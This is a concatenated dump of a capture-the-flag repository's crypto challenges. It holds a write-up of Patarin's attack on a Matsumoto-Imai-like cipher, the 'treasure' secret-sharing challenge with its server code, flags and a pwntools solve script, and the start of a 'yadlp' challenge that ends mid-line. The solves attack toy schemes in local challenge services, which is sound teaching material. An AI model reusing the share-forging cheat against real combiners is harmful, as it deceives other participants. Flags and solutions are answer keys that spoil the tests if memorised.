to be not implemented for this quotient ring.\n", "\n", "### Encryption\n", "\n", "Encryption is easy but there is a slight caveat that might be confusing. The public polynomials $r_i : K^n \\rightarrow K$ map elements of $K^n$ to an element of $K$. We defined $K$ to be a boolean polynomial ring, but it should be noted that $\\mathbb{F}_q$ is a subset of $K$, and that $\\mathbb{F}_q^n$ is a subset of $K^n$. When we encrypt messages, we are really only concerned with the subset $\\mathbb{F}_q$ and not with other elements of $K$. (This is just for the reason that working with bits is easier; there shouldn't be any issues with encoding messages using other elements in $K$)\n", "\n", "To encrypt a message, we first encode the message as an element $m$ of $\\mathbb{F}_q^n$ and compute $(r_1(m), r_2(m), \\ldots, r_n(m))$. where $r_i$ are the public polynomials. Since each of the $r_i$ sends elements of $\\mathbb{F}_q^n$ to an element in $\\mathbb{F}_q$, the resulting ciphertext is an element of $\\mathbb{F}_q^n \\subset K^n$.\n", "\n", "# Solution\n", "\n", "We are given nothing but the public key and the ciphertexts. We could attempt to recover the private key, but it isn't necessary. We will follow Patarin's attack from Crypto'95 which allows us to recover the plaintext for any given ciphertext.\n", "\n", "The attack relies on the fact that maps $f : E \\rightarrow E$ of the form $x \\mapsto x^{q^k}$ are linear for any integer $k$. By this, we mean that if $z = z_0 + z_1 t + \\cdots + z_{n-1} t^{n-1} \\in E$, then $f(z) = z_0' + z_1' t + \\cdots + z_{n-1}' t^{n-1}$ is such that $z_i' = f_i(z_0, \\ldots, z_{n-1})$ with $\\deg f_i = 1$. In words; this says that the coefficients of $f(z)$ can be written as a linear combination of the coefficients of $z$.\n", "\n", "I couldn't find a proof for this, (maybe because it's supposed to be obvious, but it certainly wasn't obvious to me), so here is my (possibly wrong) attempt at a justification (which I think might actually only work for $q = 2$):\n", "\n", "Define $f : E \\rightarrow E$ as $f(x) = x^{q^k}$ for any integer $k$. Let $z = z_0 + z_1 t + \\cdots + z_{n-1} t^{n-1} \\in E$. Then\n", "\n", "$$\n", "\\begin{aligned}\n", " f(z) &= (z_0 + z_1 t + \\cdots + z_{n-1} t^{n-1})^{q^k} \\\\\n", " &= z_0^{q^k} + (z_1 t)^{q^k} + \\cdots + (z_{n-1} t^{n-1})^{q^k} \\quad \\text{since } \\mathrm{char}(E) = q \\\\\n", " &= z_0 + z_1 t^{q^k} + \\cdots + z_{n-1} t^{(n-1)q^k} \\quad \\text{since } x = x^q \\text{ for all } x \\in K\n", "\\end{aligned}\n", "$$\n", "\n", "It should now follow that, after being reduced modulo the irreducible polynomial $i(t)$, the coefficients of $f(z)$ are linear combinations of the $z_i$.\n", "\n", "Combined with some other clever insights, this eventually leads to a linear expression relating all plaintext and ciphertext pairs as we will soon see.\n", "\n", "## Finding the Relation\n", "\n", "This is the core of the attack. To begin, recall that a plaintext message $x \\in K^n$ is encrypted by computing its ciphertext $y = (T \\circ \\varphi^{-1} \\circ P \\circ \\varphi \\circ S)(x) \\in K^n$.\n", "\n", "Let $a = \\varphi(S(x))$ and $b = \\varphi(T^{-1}(y))$. Note that $a, b \\in E$ and furthermore that $b = P(a)$. So we have\n", "\n", "$$\n", "b = ra^{q + 1}\n", "$$\n", "\n", "Now, applying $g : E \\rightarrow E, x \\mapsto x^{q-1}$ to both sides of the equation, we get\n", "\n", "$$\n", "\\begin{aligned}\n", " g(b) &= g(ra^{q+1}) \\\\\n", " b^{q-1} &= r^{q-1} a^{q^2 - 1}\n", "\\end{aligned}\n", "$$\n", "\n", "Multiplying both sides by $ab$, we get\n", "\n", "$$\n", "ab^q = r^{q-1} a^{q^2} b \\tag{1}\n", "$$\n", "\n", "By the definition of $a$ and $b$, we have\n", "\n", "$$\n", "a = c_1x + c_2 \\qquad b = c_3 y + c_4\n", "$$\n", "\n", "where the $c_i$ are elements of $E$ which we do not particularly care about. This follows because $a$ and $b$ are simply affine transformations of $x$ and $y$ respectively.\n", "\n", "Combining this with the fact that the maps $b \\mapsto b^q$ and $a \\mapsto a^{q^2}$ are linear maps, equation $(1)$ effectively gives us an equation relating $x$ and $y$ where $x$, $y$ and $xy$ appear to a power of no greater than $1$.\n", "\n", "So, if we let $x = (x_0, x_1, \\ldots, x_{n-1})$ and $y = (y_0, y_1, \\ldots, y_{n-1})$, then the information given by equation $(1)$ can be rewritten as:\n", "\n", "$$\n", "\\sum_{i=0}^{n-1} \\sum_{j=0}^{n-1} \\gamma_{i, j} x_i y_j + \\sum_{i=0}^{n-1} \\alpha_i x_i + \\sum_{j=0}^{n-1} \\beta_j y_j + \\delta = 0 \\tag{2}\n", "$$\n", "\n", "And the amazing thing about this relation is that it holds for _all_ plaintext/ciphertext pairs $(x, y)$ since we made no assumptions about them to begin with! That means it holds for the flag and the ciphertext we've been given too :)\n", "\n", "## Recovering the Constants\n", "\n", "Equation $(2)$ gives us a relation that holds for all plaintext/ciphertext pairs, but we don't know the $\\gamma_{i, j}, \\alpha_i, \\beta_j$ and $\\delta$. Fortunately, since encryption uses the public key (which we have), we can generate our own plaintexts and encrypt them to get valid plaintext/ciphertext pairs.\n", "\n", "With a set of plaintext/ciphertext pairs, we can view equation $(2)$ as a system of linear equations in the unknowns $\\gamma_{i, j}, \\alpha_i, \\beta_j$ and $\\delta$ and use linear algebra techniques to solve for them. There are $n^2 + n + n + 1 = (n+1)^2$ unknowns, so we'll need $(n+1)^2$ plaintext/ciphertext pairs to successfully recover the constants.\n", "\n", "Generating the plaintext/ciphertext pairs may take a while (though, not _that_ long if you're patient), so an easy optimisation we can do is choose sparse plaintext vectors; that is, plaintexts which have a lot of zero bits. Doing this speeds up polynomial evaluation which is the most expensive operation for encryption.\n", "\n", "## Recovering the Flag\n", "\n", "The hard work is mostly done. If we have the relation and the constants, then to recover a plaintext given a ciphertext all we need to do is plug in the $y_j$ values, and solve for the $x_i$ values. Again, this is done using linear algebra techniques, but in this case instead of solving a system of linear equations in the unknowns $\\gamma_{i, j}, \\alpha_i, \\beta_j$ and $\\delta$, we solve the system for the unknowns $x_0, x_1, \\ldots, x_{n-1}$.\n", "\n", "# References/Extra Reading\n", "\n", "- [Jacques Patarin - Cryptanalysis of the Matsumoto and Imai Public KeyScheme of Eurocrypt'88](https://link.springer.com/content/pdf/10.1007%2F3-540-44750-4.pdf)\n", "- [Adam Janovsky - Algebraic cryptanalysis of Hidden Field Equations family](https://is.muni.cz/th/rwbym/bthesis.pdf)\n", "- [Nicolas T. Courtois - The security of Hidden Field Equations](http://www.minrank.org/hfesecsl.pdf)" ] }, { "cell_type": "code", "execution_count": null, "id": "885c8e8a", "metadata": {}, "outputs": [], "source": [] } ], "metadata": { "kernelspec": { "display_name": "Python 3 (ipykernel)", "language": "python", "name": "python3" }, "language_info": { "codemirror_mode": { "name": "ipython", "version": 3 }, "file_extension": ".py", "mimetype": "text/x-python", "name": "python", "nbconvert_exporter": "python", "pygments_lexer": "ipython3", "version": "3.9.6" } }, "nbformat": 4, "nbformat_minor": 5 } ================================================ FILE: crypto/substitution-cipher-iii/solve/writeup.md ================================================ # Challenge Overview This challenge is a sequel to "Substitution Cipher II", though in terms of difficulty, it is a large step up. The basis of the challenge is Patarin's famous attack (though other attacks may work) on the Matsumoto-Imai cryptosystem which was hinted towards by the bold **MI** in the challenge's description (one could easily find useful resources online by searching "MI cryptosystem"). The large public key size is also a trait of multivariate public key cryptosystems which some people may have recognised. Like with the other two substitution cipher challenges, we are given the code which has been used to encrypt the flag, as well as the ciphertext. In this challenge, we are also given a public key. ## Matsumoto-Imai Cryptosystem In this section we give a rough description of the Matsumoto-Imai-like cryptosystem as presented in the challenge. There are some differences from the original cryptosystem, so to hopefully make it easier to follow, we also draw comparisons between the mathematical notation and the handout code. The general idea is that a composition of certain transformations is difficult to invert without knowledge of the individual transformations that make it up; so a private key is made up of some invertible transformations, and the corresponding public key is their composition. Additionally, solving a set of multivariate (even quadratic) polynomial equations over a finite field in general is proven to be NP-complete, so one _shouldn't_ be able to easily recover the plaintext from a given ciphertext and the public key alone. ### Parameters To set the scene, we choose parameters $q$ and $n$ (in the challenge $q = 2$ and $n = 80$) and define some algebraic objects to work with: $$ \begin{aligned} K &= \mathbb{F}_q[x_1, \ldots, x_n] \\ E &= K[t]/(i(t)) \\ L &= E[x] \\ A &= \mathrm{Aff}(n, K) \end{aligned} $$ where $i(t)$ is an arbitrary degree $n$ irreducible polynomial. In Sage, we need to write a bit more boilerplate to achieve this: ```py q = 2 F = GF(q) K = BooleanPolynomialRing(n, 'x') R. = PolynomialRing(K) i = GF(q)[t].irreducible_element(n) I = Ideal(R(i)) I.reduce = lambda f: f % i # dirty sage hack E. = PolynomialRing(K, t).quo(I) L. = PolynomialRing(E) A = AffineGroup(n, K) ``` - [`BooleanPolynomialRing`](https://doc.sagemath.org/html/en/reference/polynomial_rings/sage/rings/polynomial/pbori/pbori.html) is a more efficient implementation of boolean polynomials; in most cases it can be used as a clean replacement for `GF(2)[x1, ..., xn]`. - As for the `I.reduce = ...` line, this should probably not need to be done but I was having difficulties getting Sage to properly reduce elements of $E$ modulo $i(t)$ and this seemed like the only way to fix it. - The purpose of $L$ is to define polynomials whose variables are in $E$ (which we'll do next). - $A$ is defined so that we can easily work with affine transformations. ### Private Key Next, we'll generate the private key. We choose random $S, T \in A$ and $P = r x^{q + 1} \in L$ where $r \in E$ is randomly chosen. (Note that the construction of $P$ here is not in its most general form, and that this particular choice of $P$ is potentially weaker than other choices). In Sage, we write: ```py S = A(GL(n, F).random_element(), random_vector(F, n), check=False) r = sum(randint(0, 1) * tbar^i for i in range(n)) P = r * x^(q + 1) T = A(GL(n, F).random_element(), random_vector(F, n), check=False) ``` `A.random_element()` wasn't working for some reason, so we simply generate a random invertible matrix and a random vector with elements in $\mathbb{F}_q$ which is enough to represent an affine transformation. ### Public Key To derive the public key $R$ from the private key, we simply take the composition $R = T \circ P \circ S$. Actually, that's not entirely correct but it captures the general idea. To be more explicit, $S$ and $T$ are affine transformations that map elements of $K^n$ to elements of $K^n$, whereas $P$ is a function that takes an element in $E$ and outputs an element in $E$. The way we glue together these components of different "types" is by introducing an extra function that converts between the two types; there is a natural bijection between $K^n$ and $E$, so we define: $$ \begin{aligned} \varphi : K^n &\rightarrow E \\ (v_0, v_1, \ldots, v_{n-1}) &\mapsto v_0 + v_1 t + \cdots + v_{n-1} t^{n-1} \end{aligned} $$ So more accurately, we take the public key to be $R = T \circ \varphi^{-1} \circ P \circ \varphi \circ S$. $R$ itself can be represented by $n$ multivariate polynomials $r_1, r_2, \ldots, r_n$; these are what will be used for encryption. In Sage, we can write this concisely as: ```py B = S(K.gens()) * vector([tbar^i for i in range(n)]) Q = P(B) R = T(Q.lift().coefficients()) ``` Since $S$ and $T$ are elements of $A$, we can perform the transformation they represent with `S(x)` and `T(x)` respectively, where `x` is an element of $K^n$. Multiplication by the vector $(1, t, \ldots, t^{n-1})$ is equivalent to the conversion map $\varphi$, and taking the coefficients of an element in $E$ is equivalent to $\varphi^{-1}$. The reason for the `.lift()` is to consider `Q` as an element of $K[t]$ (as opposed to an element of $E$) since `.coefficients()` seems to be not implemented for this quotient ring. ### Encryption Encryption is easy but there is a slight caveat that might be confusing. The public polynomials $r_i : K^n \rightarrow K$ map elements of $K^n$ to an element of $K$. We defined $K$ to be a boolean polynomial ring, but it should be noted that $\mathbb{F}_q$ is a subset of $K$, and that $\mathbb{F}_q^n$ is a subset of $K^n$. When we encrypt messages, we are really only concerned with the subset $\mathbb{F}_q$ and not with other elements of $K$. (This is just for the reason that working with bits is easier; there shouldn't be any issues with encoding messages using other elements in $K$) To encrypt a message, we first encode the message as an element $m$ of $\mathbb{F}_q^n$ and compute $(r_1(m), r_2(m), \ldots, r_n(m))$. where $r_i$ are the public polynomials. Since each of the $r_i$ sends elements of $\mathbb{F}_q^n$ to an element in $\mathbb{F}_q$, the resulting ciphertext is an element of $\mathbb{F}_q^n \subset K^n$. # Solution We are given nothing but the public key and the ciphertexts. We could attempt to recover the private key, but it isn't necessary. We will follow Patarin's attack from Crypto'95 which allows us to recover the plaintext for any given ciphertext. The attack relies on the fact that maps $f : E \rightarrow E$ of the form $x \mapsto x^{q^k}$ are linear for any integer $k$. By this, we mean that if $z = z_0 + z_1 t + \cdots + z_{n-1} t^{n-1} \in E$, then $f(z) = z_0' + z_1' t + \cdots + z_{n-1}' t^{n-1}$ is such that $z_i' = f_i(z_0, \ldots, z_{n-1})$ with $\deg f_i = 1$. In words; this says that the coefficients of $f(z)$ can be written as a linear combination of the coefficients of $z$. I couldn't find a proof for this, (maybe because it's supposed to be obvious, but it certainly wasn't obvious to me), so here is my (possibly wrong) attempt at a justification (which I think might actually only work for $q = 2$): Define $f : E \rightarrow E$ as $f(x) = x^{q^k}$ for any integer $k$. Let $z = z_0 + z_1 t + \cdots + z_{n-1} t^{n-1} \in E$. Then $$ \begin{aligned} f(z) &= (z_0 + z_1 t + \cdots + z_{n-1} t^{n-1})^{q^k} \\ &= z_0^{q^k} + (z_1 t)^{q^k} + \cdots + (z_{n-1} t^{n-1})^{q^k} \quad \text{since } \mathrm{char}(E) = q \\ &= z_0 + z_1 t^{q^k} + \cdots + z_{n-1} t^{(n-1)q^k} \quad \text{since } x = x^q \text{ for all } x \in K \end{aligned} $$ It should now follow that, after being reduced modulo the irreducible polynomial $i(t)$, the coefficients of $f(z)$ are linear combinations of the $z_i$. Combined with some other clever insights, this eventually leads to a linear expression relating all plaintext and ciphertext pairs as we will soon see. ## Finding the Relation This is the core of the attack. To begin, recall that a plaintext message $x \in K^n$ is encrypted by computing its ciphertext $y = (T \circ \varphi^{-1} \circ P \circ \varphi \circ S)(x) \in K^n$. Let $a = \varphi(S(x))$ and $b = \varphi(T^{-1}(y))$. Note that $a, b \in E$ and furthermore that $b = P(a)$. So we have $$ b = ra^{q + 1} $$ Now, applying $g : E \rightarrow E, x \mapsto x^{q-1}$ to both sides of the equation, we get $$ \begin{aligned} g(b) &= g(ra^{q+1}) \\ b^{q-1} &= r^{q-1} a^{q^2 - 1} \end{aligned} $$ Multiplying both sides by $ab$, we get $$ ab^q = r^{q-1} a^{q^2} b \tag{1} $$ By the definition of $a$ and $b$, we have $$ a = c_1x + c_2 \qquad b = c_3 y + c_4 $$ where the $c_i$ are elements of $E$ which we do not particularly care about. This follows because $a$ and $b$ are simply affine transformations of $x$ and $y$ respectively. Combining this with the fact that the maps $b \mapsto b^q$ and $a \mapsto a^{q^2}$ are linear maps, equation $(1)$ effectively gives us an equation relating $x$ and $y$ where $x$, $y$ and $xy$ appear to a power of no greater than $1$. So, if we let $x = (x_0, x_1, \ldots, x_{n-1})$ and $y = (y_0, y_1, \ldots, y_{n-1})$, then the information given by equation $(1)$ can be rewritten as: $$ \sum_{i=0}^{n-1} \sum_{j=0}^{n-1} \gamma_{i, j} x_i y_j + \sum_{i=0}^{n-1} \alpha_i x_i + \sum_{j=0}^{n-1} \beta_j y_j + \delta = 0 \tag{2} $$ And the amazing thing about this relation is that it holds for _all_ plaintext/ciphertext pairs $(x, y)$ since we made no assumptions about them to begin with! That means it holds for the flag and the ciphertext we've been given too :) ## Recovering the Constants Equation $(2)$ gives us a relation that holds for all plaintext/ciphertext pairs, but we don't know the $\gamma_{i, j}, \alpha_i, \beta_j$ and $\delta$. Fortunately, since encryption uses the public key (which we have), we can generate our own plaintexts and encrypt them to get valid plaintext/ciphertext pairs. With a set of plaintext/ciphertext pairs, we can view equation $(2)$ as a system of linear equations in the unknowns $\gamma_{i, j}, \alpha_i, \beta_j$ and $\delta$ and use linear algebra techniques to solve for them. There are $n^2 + n + n + 1 = (n+1)^2$ unknowns, so we'll need $(n+1)^2$ plaintext/ciphertext pairs to successfully recover the constants. Generating the plaintext/ciphertext pairs may take a while (though, not _that_ long if you're patient), so an easy optimisation we can do is choose sparse plaintext vectors; that is, plaintexts which have a lot of zero bits. Doing this speeds up polynomial evaluation which is the most expensive operation for encryption. ## Recovering the Flag The hard work is mostly done. If we have the relation and the constants, then to recover a plaintext given a ciphertext all we need to do is plug in the $y_j$ values, and solve for the $x_i$ values. Again, this is done using linear algebra techniques, but in this case instead of solving a system of linear equations in the unknowns $\gamma_{i, j}, \alpha_i, \beta_j$ and $\delta$, we solve the system for the unknowns $x_0, x_1, \ldots, x_{n-1}$. # References/Extra Reading - [Jacques Patarin - Cryptanalysis of the Matsumoto and Imai Public KeyScheme of Eurocrypt'88](https://link.springer.com/content/pdf/10.1007%2F3-540-44750-4.pdf) - [Adam Janovsky - Algebraic cryptanalysis of Hidden Field Equations family](https://is.muni.cz/th/rwbym/bthesis.pdf) - [Nicolas T. Courtois - The security of Hidden Field Equations](http://www.minrank.org/hfesecsl.pdf) ================================================ FILE: crypto/treasure/Dockerfile ================================================ FROM ghcr.io/downunderctf/docker-vendor/nsjail:ubuntu-21.04 RUN pip install pycryptodome COPY ./challenge/flag.txt /home/ctf/chal/ COPY ./challenge/secret.py /home/ctf/chal/ COPY ./challenge/treasure.py /home/ctf/chal/pwn ================================================ FILE: crypto/treasure/README.md ================================================ # treasure **Category:** crypto **Difficulty:** easy **Author:** joseph#8210 You and two friends have spent the past year playing an ARG that promises valuable treasures to the first team to find three secret shares scattered around the world. At long last, you have found all three and are ready to combine the shares to figure out where the treasure is. Of course, being the greedy individual you are, you plan to use your cryptography skills to deceive your friends into thinking that the treasure is in the middle of no where... **Attached files:** - ./challenge/treasure.py (sha256: f36340e2be0a3bf91d3831a1801b828ebe59b77f8472dcb296ca6e8d7bb3dd7a) ================================================ FILE: crypto/treasure/challenge/flag.txt ================================================ DUCTF{m4yb3_th3_r34L_tr34sur3_w4s_th3_fr13nDs_w3_m4d3_al0ng_Th3_W4y.......} ================================================ FILE: crypto/treasure/challenge/secret.py ================================================ FLAG = open('./flag.txt', 'r').read().strip() FLAG_MSG = \ f''' You travel to the exact coordinates that you found and notice something shining in the corner of your eye. It\'s a treasure chest! You open it and in a completely unexpected turn of events, it\'s empty! Etched at the bottom of the hollow chest, you make out some writing. It reads: {FLAG}''' REAL_COORDS = 5756627544102572649201219381096443309301530404084814366157678459246004007288774904822314549 ================================================ FILE: crypto/treasure/challenge/treasure.py ================================================ #!/usr/bin/python3 import re from Crypto.Util.number import long_to_bytes from Crypto.Random import random from secret import REAL_COORDS, FLAG_MSG FAKE_COORDS = 5754622710042474278449745314387128858128432138153608237186776198754180710586599008803960884 p = 13318541149847924181059947781626944578116183244453569385428199356433634355570023190293317369383937332224209312035684840187128538690152423242800697049469987 def create_shares(secret): r1 = random.randint(1, p - 1) r2 = random.randint(1, p - 1) s1 = r1*r2*secret % p s2 = r1*r1*r2*secret % p s3 = r1*r2*r2*secret % p return [s1, s2, s3] def reveal_secret(shares): s1, s2, s3 = shares secret = pow(s1, 3, p) * pow(s2*s3, -1, p) % p return secret def run_combiner(shares): try: your_share = int(input('Enter your share: ')) return reveal_secret([your_share, shares[1], shares[2]]) except: print('Invalid share') exit() def is_coords(s): try: return re.match(r'-?\d+\.\d+?, -?\d+\.\d+', long_to_bytes(s).decode()) except: return False def main(): shares = create_shares(REAL_COORDS) print(f'Your share is: {shares[0]}') print(f'Your two friends input their shares into the combiner and excitedly wait for you to do the same...') secret_coords = run_combiner(shares) print(f'The secret is revealed: {secret_coords}') if not is_coords(secret_coords): print('"Hey those don\'t look like coordinates!"') print('Your friends grow a bit suspicious, but you manage to convince them that you just entered a digit wrong. You decide to try again...') else: print('"Let\'s go get the treasure!!"') print('Your friends run off to the revealed location to look for the treasure...') exit() secret_coords = run_combiner(shares) if not is_coords(secret_coords): print('"This is way too sus!!"') exit() if secret_coords == FAKE_COORDS: print('You\'ve successfully deceived your friends!') try: real_coords = int(input('Now enter the real coords: ')) if real_coords == REAL_COORDS: print(FLAG_MSG) else: print('Incorrect!') except: print('Incorrect!') else: print('You are a terrible trickster!') if __name__ == '__main__': main() ================================================ FILE: crypto/treasure/challenge.yml ================================================ version: "0.1" id: treasure name: treasure category: crypto description: > You and two friends have spent the past year playing an ARG that promises valuable treasures to the first team to find three secret shares scattered around the world. At long last, you have found all three and are ready to combine the shares to figure out where the treasure is. Of course, being the greedy individual you are, you plan to use your cryptography skills to deceive your friends into thinking that the treasure is in the middle of no where... Author: joseph#8210 connection_info: nc ${host} ${port} tags: - easy files: - ./challenge/treasure.py flags: - DUCTF{m4yb3_th3_r34L_tr34sur3_w4s_th3_fr13nDs_w3_m4d3_al0ng_Th3_W4y.......} ================================================ FILE: crypto/treasure/docker-compose.yml ================================================ version: '3' services: treasure: # challenge name build: . ports: - "1337:1337" # local:container privileged: true ================================================ FILE: crypto/treasure/solve/solve.sage ================================================ import os os.environ['PWNLIB_NOTERM'] = 'True' from pwn import * from parse import parse FAKE_COORDS = 5754622710042474278449745314387128858128432138153608237186776198754180710586599008803960884 p = 13318541149847924181059947781626944578116183244453569385428199356433634355570023190293317369383937332224209312035684840187128538690152423242800697049469987 F = Zmod(p) conn = remote('0.0.0.0', 1337) s3 = list(parse('Your share is: {:d}\n', conn.recvline().decode()))[0] conn.sendlineafter(': ', '1') s2s3_inv = list(parse('The secret is revealed: {:d}\n', conn.recvline().decode()))[0] fake_share = F(FAKE_COORDS / s2s3_inv).nth_root(3) conn.sendlineafter(': ', str(fake_share)) real_coords = pow(s3, 3, p) * s2s3_inv conn.sendlineafter(': ', str(real_coords)) print(conn.recv().decode()) ================================================ FILE: crypto/treasure/solve/writeup.ipynb ================================================ { "cells": [ { "cell_type": "markdown", "id": "e9ef0eb1", "metadata": {}, "source": [ "# Challenge Overview\n", "\n", "We are tasked with cheating as a participant of a secret sharing scheme. A secret value is split into three shares and we are given one of them. We are able to run the share combiner once and we will be given the output for it. Then, we must send a share to the combiner again to forge a specific output, and finally, we must send the server the real secret.\n", "\n", "## Secret Sharing Scheme\n", "\n", "The secret sharing scheme in the challenge is very simple. Notably, it is also not _verifiable_, so it is relatively easy to cheat.\n", "\n", "The scheme splits a secret into three shares and requires all three to recover the secret. Let $p$ be a prime number and let $s$ be the secret. The dealer chooses two random numbers $1 < r_1, r_2 < p$ and computes the three shares:\n", "\n", "$$\n", "\\begin{aligned}\n", " s_1 &\\equiv r_1 r_2 s \\pmod p \\\\\n", " s_2 &\\equiv r_1^2 r_2 s \\pmod p \\\\\n", " s_3 &\\equiv r_1 r_2^2 s \\pmod p\n", "\\end{aligned}\n", "$$\n", "\n", "To combine three shares $(s_1, s_2, s_3)$, the combiner computes\n", "\n", "$$\n", "s \\equiv \\frac{s_1^3}{s_2 s_3} \\pmod p\n", "$$\n", "\n", "(you should check for yourself that this computes the correct secret if the shares are correct!). Note that when we divide by $s_2 s_3$ here, we are actually multiplying by the [modular multiplicative inverse](https://en.wikipedia.org/wiki/Modular_multiplicative_inverse) of $s_2 s_3$ modulo $p$.\n", "\n", "## Cheating\n", "\n", "We control $s_1$, so how can we use this to both reveal the secret to only us, and also to forge a fake secret $s'$?\n", "\n", "### Faking a Secret\n", "\n", "The first time we send our shares to the combiner, we are able to send almost anything and somehow convince our friends everything is fine. We use this to gain some information that will help us to fake a secret.\n", "\n", "Let's consider what happens if we send $s_1 = 1$ as our share to the combiner. The combiner will compute and give us\n", "\n", "$$\n", "\\frac{1}{s_2 s_3} \\pmod p\n", "$$\n", "\n", "This is useful to us, because if we want to send another share $s_1'$ to the combiner such that the revealed secret is $s'$, all we need to do is compute $s_1'$ as follows:\n", "\n", "$$\n", "\\begin{aligned}\n", " s' &\\equiv \\frac{(s_1')^3}{s_2 s_3} \\pmod p \\\\\n", " \\implies (s_1')^3 &\\equiv s' s_2 s_3 \\pmod p \\\\\n", " \\implies s_1' &\\equiv (s' s_2 s_3)^{\\frac{1}{3}} \\pmod p\n", "\\end{aligned}\n", "$$\n", "\n", "Note that here, $(s' s_2 s_3)^{\\frac{1}{3}}$ means the modular cube root of $s' s_2 s_3$ modulo $p$, that is, a number which equals to $s' s_2 s_3$ when cubed and reduced modulo $p$. There are algorithms online that may help to compute this, and SageMath also has inbuilt functionalities for this.\n", "\n", "### Revealing the Real Secret\n", "\n", "We already have everything we need to reveal the real secret. We have $\\frac{1}{s_2 s_3} \\pmod p$ from the first time running the combiner, so all we need to do is use our real share and compute\n", "\n", "$$\n", "s \\equiv \\frac{s_1^3}{s_2 s_3} \\pmod p\n", "$$\n", "\n", "Sending this to the server gets us the flag :)\n" ] }, { "cell_type": "code", "execution_count": null, "id": "f90613ae", "metadata": {}, "outputs": [], "source": [] } ], "metadata": { "kernelspec": { "display_name": "Python 3 (ipykernel)", "language": "python", "name": "python3" }, "language_info": { "codemirror_mode": { "name": "ipython", "version": 3 }, "file_extension": ".py", "mimetype": "text/x-python", "name": "python", "nbconvert_exporter": "python", "pygments_lexer": "ipython3", "version": "3.9.6" } }, "nbformat": 4, "nbformat_minor": 5 } ================================================ FILE: crypto/treasure/solve/writeup.md ================================================ # Challenge Overview We are tasked with cheating as a participant of a secret sharing scheme. A secret value is split into three shares and we are given one of them. We are able to run the share combiner once and we will be given the output for it. Then, we must send a share to the combiner again to forge a specific output, and finally, we must send the server the real secret. ## Secret Sharing Scheme The secret sharing scheme in the challenge is very simple. Notably, it is also not _verifiable_, so it is relatively easy to cheat. The scheme splits a secret into three shares and requires all three to recover the secret. Let $p$ be a prime number and let $s$ be the secret. The dealer chooses two random numbers $1 < r_1, r_2 < p$ and computes the three shares: $$ \begin{aligned} s_1 &\equiv r_1 r_2 s \pmod p \\ s_2 &\equiv r_1^2 r_2 s \pmod p \\ s_3 &\equiv r_1 r_2^2 s \pmod p \end{aligned} $$ To combine three shares $(s_1, s_2, s_3)$, the combiner computes $$ s \equiv \frac{s_1^3}{s_2 s_3} \pmod p $$ (you should check for yourself that this computes the correct secret if the shares are correct!). Note that when we divide by $s_2 s_3$ here, we are actually multiplying by the [modular multiplicative inverse](https://en.wikipedia.org/wiki/Modular_multiplicative_inverse) of $s_2 s_3$ modulo $p$. ## Cheating We control $s_1$, so how can we use this to both reveal the secret to only us, and also to forge a fake secret $s'$? ### Faking a Secret The first time we send our shares to the combiner, we are able to send almost anything and somehow convince our friends everything is fine. We use this to gain some information that will help us to fake a secret. Let's consider what happens if we send $s_1 = 1$ as our share to the combiner. The combiner will compute and give us $$ \frac{1}{s_2 s_3} \pmod p $$ This is useful to us, because if we want to send another share $s_1'$ to the combiner such that the revealed secret is $s'$, all we need to do is compute $s_1'$ as follows: $$ \begin{aligned} s' &\equiv \frac{(s_1')^3}{s_2 s_3} \pmod p \\ \implies (s_1')^3 &\equiv s' s_2 s_3 \pmod p \\ \implies s_1' &\equiv (s' s_2 s_3)^{\frac{1}{3}} \pmod p \end{aligned} $$ Note that here, $(s' s_2 s_3)^{\frac{1}{3}}$ means the modular cube root of $s' s_2 s_3$ modulo $p$, that is, a number which equals to $s' s_2 s_3$ when cubed and reduced modulo $p$. There are algorithms online that may help to compute this, and SageMath also has inbuilt functionalities for this. ### Revealing the Real Secret We already have everything we need to reveal the real secret. We have $\frac{1}{s_2 s_3} \pmod p$ from the first time running the combiner, so all we need to do is use our real share and compute $$ s \equiv \frac{s_1^3}{s_2 s_3} \pmod p $$ Sending this to the server gets us the flag :) ================================================ FILE: crypto/yadlp/README.md ================================================ # yadlp **Category:** crypto **Difficulty:** hard **Author:** joseph#8210 Yet another discrete logarithm problem challenge... **Attached files:** - ./challenge/yadlp.sage (sha256: 182b7194d38e2c5e4a9c8de5a14d47bd49784c38be40c6137dfab2474d0d849c) - ./challenge/output.txt (sha256: 08bb54d0fa83d654fc77f29742b73deec53310fda8a452c4181bae2677133095) ================================================ FILE: crypto/yadlp/challenge/flag.txt ================================================ DUCTF{a_1337_hyp3rb0la_m33ts_th3_mult1pl3_DLP!!} ================================================ FILE: crypto/yadlp/challenge/output.txt ================================================ D = 13337 p = 17568142778435152362975498611159042138909402642078949814477371651322179417849164549408357464774644525711780515232117470272550677945089719112177956836141583 G = [(8249149405495350491346934933585109414510787432598250096114687570379053133508711862485128035174547571919256235441699899388417666835599315963507480727674285, 10151966144947987666795899106244951506314545969111450078363915090201899029695981970354886015549281568762501638756950135017679627954071369058817947706039379), (10148658254415475588279956574772196898575718154643967163626694400363009168529645860280959810873028393970853643723425023678857408220330929116526467295542507, 3332426625916817700349475905733631656792492189677766534230576987725484499618918928882667666640821403823057239790395654518704427126712280655564669757208129), (1839326681086939925214853980855626023120414606039474419455499625885357274275815189399880356995376514021329118829062071144818562457268892324773839713533977, 17502649671831125396398431215302241914145169143474764941575812028922929277656849105757332346628455059539582448544435155655055157181361580680672298566085040), (3165955958968203879237344349962533642598441044481692770147807839372942715856047580766073222297692574025922260374409920417665600069665162502514403188432579, 9382092026348588885644924948782239369051861025018411316856012639637274661831713783735305424388410778778529413114167923397187236739639802371814632949741663), (8500294063291124527108623281980255870507549734362604259645984044370658620385351338711051998886026260657132944353675335178871934798200163035190278483491633, 7641198814027309580920446604109217188703337221305342467525089149977505415741300885194767452232679123441594451455097533000754553745051816419202345186703390), (12352685673550986453697035560006632628194788902921398545668828437339873544223895997440585227838919968929669738393535610103382084842900404005432007637193943, 2453949984320580417885537763124479618094084392655766673219227195157341323190069350175423869908524758510177197973709821798974003013596311361995273762475822)] c = (5388567167658786935158413401674168420144429277172064721472662913563775670320298461949979362402157764272762755236320989018989446360740720072488623102776015, 7420389277336940268114831002964626027945367662485419944369852006741899961686908509331719915794976159062761271182318814519641566938538911041229521838799714) ================================================ FILE: crypto/yadlp/challenge/yadlp.sage ================================================ def G_add(A, B): x1, y1 = A x2, y2 = B return ((x1*x2 + D*y1*y2) % p, (x1*y2 + x2*y1 + 2*y1*y2) % p) def G_mul(A, k): out = (1, 0) while k > 0: if k & 1: out = G_add(out, A) A = G_add(A, A) k >>= 1 return out def rand_element(): while True: x = randint(1, p-1) d = x^2 * (D + 1) - D if (x & 1 == d & 1) and kronecker(d, p) == 1: y = (x + sqrt(Zmod(p)(d))) * 